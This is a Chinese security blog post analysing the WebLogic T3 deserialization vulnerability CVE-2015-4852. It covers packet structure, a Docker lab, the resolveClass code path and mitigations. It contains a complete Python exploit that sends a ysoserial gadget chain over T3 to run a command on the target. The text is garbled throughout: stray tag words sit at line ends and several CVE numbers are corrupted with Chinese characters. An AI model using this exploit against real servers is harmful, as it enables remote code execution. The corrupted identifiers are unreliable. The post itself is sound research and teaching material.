文章首發自安全客:Java安全之初探weblogic T3協議漏洞html
在反序列化漏洞裏面就經典的仍是莫過於weblogic的反序列化漏洞,在weblogic裏面其實反序列化漏洞利用中大體分爲兩種,一個是基於T3協議的反序列化漏洞,一個是基於XML的反序列化漏洞。固然也還會有一些SSRF和任意文件上傳漏洞,可是在這裏暫且不談。java
下面來列出兩個漏洞類型的一些漏洞編號python
基於T3協議漏洞: CVE-2015-458二、CVE-2016-063八、CVE-2016-35十、CVE-2018-262八、CVE-2020-255五、CVE-2020-2883linux
基於XML:CVE-2017-350六、CVE-2017-1027一、CVE-2019-2729git
粗略的列了幾個表明性的CVE漏洞。github
在Weblogic中,有部分漏洞是基於上幾個漏洞的補丁進行的一個繞過。而在前一段時間內,CVE-2020-14882和CVE-2020-14883裏面14883就是基於14882的補丁去進行的一個繞過。web
關於這個T3協議,他是Weblogic裏面獨有的一個協議,在前面寫的一篇關於RMI的文章裏面提到過RMI的傳輸過程是傳輸的序列化數據,而在接收後會進行一個反序列化的操做。在Weblogic中對RMI規範的實現使用T3協議。而在T3的傳輸過程也是同樣的。docker
下面對T3協議的傳輸過程、如何執行的反序列化操做、T3協議的執行流程去進行一個分析。安全
在以前先來看一張weblogic進行反序列化的執行流程圖。bash
這裏借用了一個圖片,在該漏洞的一個入口點是weblogic裏面的方法調用了原生的反序列化方法進行一個反序列化操做。
而這裏還須要知道該方法在傳輸完成後是如何進行調用的。關於原生反序列化的操做原理這裏就不講了,能夠看到個人該篇文章。
Java安全之原生readObject方法解讀,這裏主要來說一下T3協議的相關內容。
WebLogic Server 中的 RMI 通訊使用 T3 協議在 WebLogic Server 和其餘 Java 程序(包括客戶端及其餘 WebLogic Server 實例)間傳輸數據。
在T3的這個協議裏面包含請求包頭和請求的主體這兩部份內容。
這裏拿2個CVE-2015-4852的POC來進行講解。
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
這裏就是他的請求包的頭。
使用Wireshark對它進行抓包,因爲配置的網卡抓不到包,靶機地址會在23段和1段的ip中來回切換。
這裏爲了能抓到包配置了一個nat模式的網卡,進行抓包,地址爲192.168.23.130,改一下poc的目標地址,發送payload。
在這裏在發送請求包頭的時候,打了個斷點,讓腳本只發送請求包頭數據,方便抓包。打開Wireshark抓包後發現,發送該請求包頭後,服務端weblogic會有一個響應
HELO後面的內容則是被攻擊方的weblogic版本號,在發送請求包頭後會進行一個返回weblogic的版本號。
在T3協議裏面傳輸的都是序列化數據,這個在前面也說過,而傳輸中的數據分爲七部份內容。第一部分爲協議頭。即t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n
這串數據。
來看到下面的圖,圖片取自z_zz_zzz師傅的修復weblogic的JAVA反序列化漏洞的多種方法文章。
看到第二到第七部份內容,都是ac ed 00 05
,說明該串內容是序列化的數據。而若是須要去構造payload的話,須要在後面序列化的內容中,進行一個替換。將本來存在的序列化內容替換成咱們payload的序列化內容,在傳輸完成後,進行反序列化達成攻擊的目的。
- 第一種生成方式爲,將weblogic發送的JAVA序列化數據的第二到九部分的JAVA序列化數據的任意一個替換爲惡意的序列化數據。 - 第二種生成方式爲,將weblogic發送的JAVA序列化數據的第一部分與惡意的序列化數據進行拼接。
這裏借用了A-team 的weblogic漏洞環境項目來作搭建環境,省去沒必要要的麻煩。
漏洞環境地址:https://github.com/QAX-A-Team/WeblogicEnvironment
jdk地址:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html
weblogic下載地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
這裏須要把下載好的jdk文件放在該項目的jdks文件夾下,weblogic的源碼放在weblogics文件夾下。
編譯運行
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 . docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
而後在這裏須要去將一些weblogic的依賴Jar包給導出來進行遠程調試。
mkdir ./middleware docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/ docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/ docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
若是不想這麼麻煩的話能夠直接運行對於的.sh腳本,好比這裏安裝的是1036 jdk是7u21 ,直接運行run_weblogicjdk7u21.sh
,自動安裝以及自動從容器裏面導出jar包。
在這裏將jar包複製到物理機上,而後打開IDEA建立一個空項目進行導入。
完成後就來配置遠程調試
爲了測試,這裏使用WeblogicScan來掃描一下,看看在斷點地方會不會停下。
在這裏發現已經能夠進行遠程調試,後面咱們就能夠來分析漏洞了。
在這先來說漏洞復現一下後,再進行漏洞的分析
仍是拿exp爲例子,可是咱們這裏是docker搭建的環境,也沒有構造回顯。經常使用的彈出計算器,就算執行了也無法顯示出來,因此在這裏使用建立文件的方式驗證該漏洞是否利用成功。
import socket import sys import struct import re import subprocess import binascii def get_payload1(gadget, command): JAR_FILE = './ysoserial.jar' popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE) return popen.stdout.read() def get_payload2(path): with open(path, "rb") as f: return f.read() def exp(host, port, payload): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode() sock.sendall(handshake) data = sock.recv(1024) pattern = re.compile(r"HELO:(.*).false") version = re.findall(pattern, data.decode()) if len(version) == 0: print("Not Weblogic") return print("Weblogic {}".format(version[0])) data_len = binascii.a2b_hex(b"00000000") #數據包長度,先佔位,後面會根據實際狀況從新 t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3協議頭 flag = binascii.a2b_hex(b"fe010000") #反序列化數據標誌 payload = data_len + t3header + flag + payload payload = struct.pack('>I', len(payload)) + payload[4:] #從新計算數據包長度 sock.send(payload) if __name__ == "__main__": host = "192.168.1.40" port = 7001 gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21 command = "touch /tmp/CVE-2015-4852" payload = get_payload1(gadget, command) exp(host, port, payload)
執行完成後,查看docker容器裏面的文件。
docker exec weblogic1036jdk7u21 ls tmp/
執行成功。
在執行exp的時候,若是開啓debug去查看其實不難發現,發送t3的報文頭信息之後會在返回包裏面回顯weblogic的版本號。
能夠看到,後面經過正則提取了返回包的數據,拿到該版本號信息。
T3協議接收過來的數據會在weblogic.rjvm.InboundMsgAbbrev#readObject
這裏進行反序列化操做。
來直接定位到該位置,能夠看到斷點的位置,裏面調用了InboundMsgAbbrev.ServerChannelInputStream#readObject
方法,查看一下
這裏調用建立一個內部類,而且調用readObject
方法,還須要查看一下 ServerChannelInputStream
實現。
在這裏其實就能夠看到ServerChannelInputStream
是一個內部類,該類繼承ObjectInputStream
類,而在這裏對resolveClass
進行了重寫。
可是在此處看到,其實調用的仍是父類的resolveClass
方法。在resolveClass
方法中也沒作任何的校驗,致使的漏洞產生。
後面來說講如何防護到該漏洞。
resolveClass
方法的做用是將類的序列化描述符加工成該類的Class對象。
前面分析readObject方法的時候,咱們得知了shiro就是重寫了resolveClass
方法致使不少利用鏈沒法使用,可是shiro在編寫的時候,並非爲了防護反序列化漏洞纔去重寫的resolveClass
,可是就是這麼一個無心間的舉動,致使了防護住了大部分攻擊。
而在後面的weblogic補丁當中,也會基於這個resolveClass
去作反序列化漏洞的防護。
貼上一張廖師傅的博客的反序列化攻擊時序圖:
那麼這裏須要思考到一個問題,爲何要在resolveClass
進行一個攔截,而不是其餘位置?
resolveClass
方法的做用是從類序列化描述符獲取類的Class對象,若是在resolveClass
中增長一個檢查,檢查一下該類的序列化描述符中記錄的類名是否在黑名單上,若是在黑名單上,直接拋出錯誤,不容許獲取惡意的類的Class對象。這樣以來,惡意類連生成Class對象的機會都沒有。
來看到這個方法,在個人readObject
分析文章裏面貼出來一張圖,readObject
的內部使用Class.forName
來從類序列化獲取到對應類的一個Class的對象。
那麼若是這裏加入一個過濾,那麼這裏若是直接拋出異常的話,在readNonProxyDesc
調用完resolveClass
方法後,後面的一系列操做都沒法完成。
http://drops.xmd5.com/static/drops/web-13470.html https://blog.knownsec.com/2020/11/weblogic12c-t3-%e5%8d%8f%e8%ae%ae%e5%ae%89%e5%85%a8%e6%bc%ab%e8%b0%88/ http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/ https://xz.aliyun.com/t/8443
這裏借鑑z_zz_zzz
師傅的文章中提到的weblogic T3協議漏洞的修復方案,除了打補丁外還有其餘的修復方案,先來講說打補丁的方式,打補丁其實也是在resolveClass
方法中實現攔截。
開放在外網的狀況下,還能夠採用web代理和負載均衡。
web代理的方式只能轉發HTTP的請求,而不會轉發T3協議的請求,這就能防護住T3漏洞的攻擊。
而負載均衡的狀況下,能夠指定須要進行負載均衡的協議類型,這麼這裏就能夠設置爲HTTP的請求,不接收其餘的協議請求轉發。這也是在外網中見到T3協議漏洞比較少的緣由之一。
在這裏其實分析比較淺,由於反序列化操做和CC鏈這一塊,我以爲應該單獨拿出來講,而不是集成到這個T3協議漏洞裏面一併概述。因此在此處並無對這兩塊內容進行分析,而這兩塊內容在前面都有進行分析過,自行查閱。後面的幾個T3協議的漏洞,其實也是基於resolveClass
的方式進行攔截事後的一個繞過方式,成了一個新的CVE漏洞。